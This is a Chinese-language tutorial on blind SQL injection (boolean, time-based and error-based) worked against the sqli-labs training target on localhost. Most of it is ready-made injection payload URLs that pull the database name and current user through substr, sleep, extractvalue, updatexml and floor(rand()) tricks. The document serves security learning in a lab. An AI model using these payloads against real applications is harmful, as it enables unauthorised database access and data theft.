sql注入-盲注

学习内容:

布尔盲注
时间盲注
报错盲注

SQL注入-盲注

  • 学习内容:
  • 前言
  • 一、基于布尔盲注
  • 二、基于时间盲注
  • 三、基于报错盲注


前言

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
注:使用靶场:sqli-labs
靶场下载地址:https://github.com/Audi-1/sqli-labs

一、基于布尔盲注

盲注前首先需要了解mysql中字符串截取相关的操作:
△ mid(), substr(),用法相同
substr(str,pos1,pos2);
从pos1开始截取str字符串到pos2位置,下标从1开始
例:substr(database(),1,1)='s'
http://127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='s' --+

△ left(str,pos)
从str左边开始截取pos长度
例:left(database(),1)='s'
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)='s'--+

△ ascii(), ord() 将字符串转换为ascii类型
例:http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr(database(),1,1))=115 --+

sql注入-盲注_第1张图片


△ regexp 正则
正则注入介绍:https://www.cnblogs.com/lcamry/articles/5717442.html
例:select user() regexp ‘^[a-z]’
select user() regexp ‘^ro’
http://127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=(if((user() regexp ‘^r’),1,0))–+
http://127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=(user() regexp ‘^ro’)–+

△ like 注入
例:select user() like ‘ro%’
http://127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=(user() like ‘ro%’)–+

二、基于时间盲注

△ if(ascii(substr(database(),1,1))>114,sleep(5),0)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+

△ sleep(if(ord(mid(database(),1,1))>114,3,0))
http://127.0.0.1/sqlilabs/Less-5/?id=1' and sleep(if(ord(mid(database(),1,1))>114,3,0))--+

三、基于报错盲注

△ select count(*),concat(0x7e,0x7e,(select user()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.tables group by a;
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*),concat(0x7e,0x7e,(select user()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+

以上语句可以简化成下面的形式:
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*),3 from information_schema.columns group by concat(version(),floor(rand(0)*2))--+

△ extractvalue(1,concat(0x7e,(select user()),0x7e))
http://127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

△ updatexml(1,concat(0x7e,(select user()),0x7e),1)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

你可能感兴趣的:(渗透测试,sql,安全,web安全,渗透测试)